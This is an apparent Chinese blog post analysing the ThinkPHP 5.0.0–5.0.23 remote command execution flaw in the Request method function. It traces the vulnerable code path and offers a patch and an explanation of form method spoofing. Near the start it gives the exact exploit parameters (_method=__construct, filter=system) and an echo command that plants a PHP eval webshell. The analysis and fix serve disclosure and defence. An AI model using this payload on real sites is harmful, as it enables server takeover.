thinkPHP5远程执行命令漏洞:\think\Request method方法漏洞

分享于:2019-09-22 14:36:57

有这样一个表单:

1.png


_method参数的值必须为“__construct”,filter参数的值必须为“system”。其他参数名不重要,提交的URL指向tp框架的入口文件即可。


1.png

给参数a赋值:

echo ^<?php @eval($_GET["code"])?^>>UF/shell.php

提交,

这样就可以在目标网站上植入一句话木马。

1.png


1.png


产生漏洞的原因:


此漏洞必须是在调试模式下才会产生。


1)看\think\App下的run静态方法代码:


1.png


\think\Request下的代码:


1.png


TP采用filter对请求参数进行过滤,默认的filter在config.php中为空字符串,TP首先会设置默认的过滤函数。

当前Request对象已在\think\App的run静态方法下创建,Request对象的filter属性默认是空字符串。


2)run方法往下运行,会执行routeCheck方法


1.png

再执行\think\Route check方法


1.png


再执行\think\Request类下method方法


1.png


TP框架配置文件中有这个参数

    // 表单请求类型伪装变量
    'var_method'             => '_method',


在这个参数默认不修改的情况下,$_POST[Config::get('var_method')]的值是“__construct”。看510行,这等于代码是:

$this->_construct($_POST);

构造方法__construct再次被调用(因为在\think\App::run方法实例化Request对象时已调用过),参数是$_POST。


看下Request类的构造方法:


1.png


134行:Request对象的filter属性被赋值为“system”。


3)返回到\think\App::run方法


1.png


当debug模式开启时,会记录请求信息,会调用$request->param()方法


1.png


继续input方法


1.png


1.png


过滤器变成了数组['system'],跟进array_walk_recursive函数


1.png


到此,应该能看明白一句话木马是靠system函数运行的

echo ^<?php @eval($_GET["code"])?^>>UF/shell.php


生成的。


4)TP在执行模块的过程中还会再一次设置默认filter,使得Request对象的filter属性再次成为空字符串。


1.png


当我们在控制器方法中再次调用post传入的参数a时,system函数不会再对参数a的值过滤。


修复方法:


不让Request对象filter属性赋值成功即可,可这样操作:


1.png


对_method参数值做好限定,并在处理_method之后将其unset。

    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $method = strtoupper($_POST[Config::get('var_method')]);
                if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                    $this->method = $method;
                    $this->{$this->method}($_POST);
                } else {
                    $this->method = 'POST';
                }
                unset($_POST[Config::get('var_method')]);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }


受影响的TP版本:


ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23


其他介绍:什么是表单请求类型伪装?


<form method="post" action="">
   <input type="text" name="name" value="Hello">
   <input type="hidden" name="_method" value="PUT" >
   <input type="submit" value="提交">
</form>

如上表单,可以在POST表单里面提交_method变量,传入需要伪装的请求类型 ,该请求从客户端看来是POST请求,而服务器会将该请求识别PUT请求并进行处理,其中变量_method可以在application\config.php文件中进行修改。

// 表单请求类型伪装变量
'var_method'             => '_method',

该特性的作用:


安全防护 ,隐藏自己真实请求信息;


整合现有应用系统 ,例如现有的应用系统A的接口只接受put请求,而你的应用系统B只能发起post请求。